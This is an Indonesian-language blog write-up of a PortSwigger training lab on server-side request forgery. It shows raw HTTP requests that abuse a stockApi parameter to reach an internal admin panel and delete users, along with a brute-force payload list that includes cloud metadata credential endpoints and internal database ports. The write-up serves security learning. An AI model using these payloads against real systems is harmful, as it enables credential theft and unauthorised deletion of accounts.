July 7, 2026
SSRF
Writeup

By initrd
4 min read
Writeup
kali ini kami akan membahasa mengenai bagaimana ssrf bisa ditemukan dari celah request dan methode yang di izinkan, disini kami menggunakan platform portswigger sebagai target latihan kami, berikut adalah langkah langkah kami melakukan serang ssrf kedalam website target, penejelasan lengkap mengenai ssrf bisa kalian lihat di SSRF.html
disini saya akan melakukan penjabaran saja mengenai bagaimana kelemahan atau kerentanan ini bisa di eksploitasi
ini adalah tampilan landing page yang ada pada website disini kami mencoba melakukan research dengan menggunakan resource yang di sediakan oleh portswiger terlebih dahulu untuk melihat bagaimana proses eksploitasi berjalan, setelah melakukan pengamatan pada video kami melihat ada beberapa point yang harus di garis bawahi, disini terdapat parameter delet yang terekspose, terdapat celah izin request yang bisa dimanfaatkan via 127.0.0.1, dan melalui protocol http, ini adalah bentuk atau indikasi bahwa website memiliki parameter yang cukup untuk dikatakan rentan terhadap ssrf, kita akan berikan exac nya.
terdapat option button yang bisa kami pilih berdasarkan lokasi, nah ini lah menjadi celah untuk website target, berikut adalah request yang berhasil di tangkap dari website
nah disana terlihat bahwa ada satu parammeter yaitu stockApi yang menjadi fokus kita yang berkaitan dengan jumlah barang yang ada pada website berdasarkan lokasi atau tempat, lalu bagaimana kita bisa mengeksploitasinya, mudah saja.
kita akan melakukan perpindahan dari interceptor ke repeater untuk bisa melakukan percobaan eksploitasi, disini saya sudah menyiapkan beberapa payload kalian bisa lihat di
Kami menggunakan pendekatan repeater untuk melakukan manipulasi pada request dengan menggunakan URI yang telah kami siapkan untuk melakukan penyerangaan sisi server berikut adalah example nya
dengan ini kami bisa menemukan laman admin yang didalamnya berisi 2 user
berikut adalah request yang kami berikan
POST /product/stock HTTP/2
Host: 0ae4007804d5ed86821b1079006300ba.web-security-academy.net
Cookie: session=RM4khVyaNKIHkynUus5fKTvUy4L3SwwN
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://0ae4007804d5ed86821b1079006300ba.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: https://0ae4007804d5ed86821b1079006300ba.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
stockApi=http://localhost/adminPOST /product/stock HTTP/2
Host: 0ae4007804d5ed86821b1079006300ba.web-security-academy.net
Cookie: session=RM4khVyaNKIHkynUus5fKTvUy4L3SwwN
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://0ae4007804d5ed86821b1079006300ba.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: https://0ae4007804d5ed86821b1079006300ba.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
stockApi=http://localhost/adminya, kami menempatkan payload pada stockApi parameter yang ada pada radio button pada website, untuk melihat bagaimana ini bisa bekerja lebih jauh kami menggunakan burpsuite untuk melakukan bruteforce attack pada fitur parameter tersebut, berikut adalah cara kami melakukannya.
gunakan Intruder sebagai senjata untuk melakukan bruteforce attack yang akan dilakukan, lalu siapkan payload yang akan digunakan untuk contoh sebagai berikut
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://localhost:8080/
http://127.0.0.1:8080/
http://localhost/admin
http://127.0.0.1/admin
http://localhost:8080/admin
http://127.0.0.1:8080/admin
http://localhost/server-status
http://127.0.0.1/server-status
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://100.100.100.200/latest/meta-data/
http://192.168.0.1/
http://172.16.0.1/
http://10.0.0.1/
http://10.10.10.1/
http://192.168.1.1/
http://192.168.1.254/
http://172.17.0.1/
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:11211/ # Memcached
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:5432/ # PostgreSQL
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:8080/manager/html
http://127.0.0.1:8080/hudson
http://127.0.0.1:8080/jenkins
http://127.0.0.1:8888/phpmyadmin
http://127.0.0.1/phpmyadminhttp://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://localhost:8080/
http://127.0.0.1:8080/
http://localhost/admin
http://127.0.0.1/admin
http://localhost:8080/admin
http://127.0.0.1:8080/admin
http://localhost/server-status
http://127.0.0.1/server-status
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://100.100.100.200/latest/meta-data/
http://192.168.0.1/
http://172.16.0.1/
http://10.0.0.1/
http://10.10.10.1/
http://192.168.1.1/
http://192.168.1.254/
http://172.17.0.1/
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:11211/ # Memcached
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:5432/ # PostgreSQL
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:8080/manager/html
http://127.0.0.1:8080/hudson
http://127.0.0.1:8080/jenkins
http://127.0.0.1:8888/phpmyadmin
http://127.0.0.1/phpmyadminlebih lengkap SSRF payload list and type
degan ini kami sudah siap menggunakan burp untuk melakukan penyerangan secara bruteforce pada website target, kami mencoba untuk melakukan input internal payloads terlebih dahulu, dengan menggunakan URI berawalan http:// untuk melihat bagaimana behavior website dan bagaimana rules yang mereka tetapkan.
berikut adalah hasilnya
kalian bisa menemukan payloadnya di github atau kalian bisa melakukan generating dengan ai assist kalian untuk masalah ini, mudah saja untuk prompt bebas dengan tipe apapun.
sekarang kita akan coba melakukan penyerangan, dengan menggunakan payload yang sudah kita buat.
Dapat kita lihat ada beberapa URI yang saya merahkan menandakan bahwa itu sah untuk di eksekusi pada sisi server, kita akan menemukan hal yang sama ketika kita melakukan render pada response milik URI tersebut, berikut adalah URI nya.
http://127.0.0.1 http://localhost http://localhost/admin http://127.0.0.1/admin
dengan menggunakan ke 4 resource ini, kita akan di bawa ke laman yang sama yaitu
kami melihat 2 user anatara lain adalah wiener dan carlos, untuk melakukan percobaan kami akan langsung mengarahkan iterceptor untuk menangkap kedua request user tersebut dengan ini kami bisa melihat bagaimana behavior website terhadap request yang tidak sah.
berikut adalah 2 request user yang berhasil kami tangkap untuk kemudian selanjutnya kami akan teruskan ke intruder, kami menggunakan kedua parameter request user ini untuk melakukan permintaan delet pada kedua user untuk melihat bagaimana ini bisa bekerja kita perlu memanfaatkan Param StockAPI tadi untuk melempar request yang kita mau.
kita tidak bisa menggunakan parameter yang tidak rentan untuk melakukan SSRF
yang kita bisa lakukan adalah melempar requestyang tidak sah melalui parameter yang rentan yaitu StockAPI, dengan ini kami bisa melakukan request secara tidak sah kedalam website dengan tujuan menghapus kedua user.
penjabaran request
Request URI admin for delete user
GET /admin/delete?username=carlos HTTP/2
Host: 0ae4007804d5ed86821b1079006300ba.web-security-academy.net
Cookie: session=RM4khVyaNKIHkynUus5fKTvUy4L3SwwN
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://0ae4007804d5ed86821b1079006300ba.web-security-academy.net/product/stock
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailersGET /admin/delete?username=carlos HTTP/2
Host: 0ae4007804d5ed86821b1079006300ba.web-security-academy.net
Cookie: session=RM4khVyaNKIHkynUus5fKTvUy4L3SwwN
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://0ae4007804d5ed86821b1079006300ba.web-security-academy.net/product/stock
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailersuntuk bisa melakukan request delete ini kami diharuskan menggunakan parameter yang rentan tadi, dengan cara mengirim request menggunakan param (StockApi) yang rentan tadi
payload: /admin/delete?username=carlos karena ini by server side kita harus berpura pura menjadi server, seolah olah itu adalah request yang sah, jadi kita harus insert http://127.0.0.1/ atau http://localhost/dengan ini kami bisa melakukannya dengan berpura purabahwa ini adalah request yang sah.
dan kami berhasil melakukan eksekusi, namun kami belum puas dan mencoba menghapus user yang kedua, berikut adalah hasilnya.
dan kami berhasil menyelesaikannya
bahkan kami menghapus admin.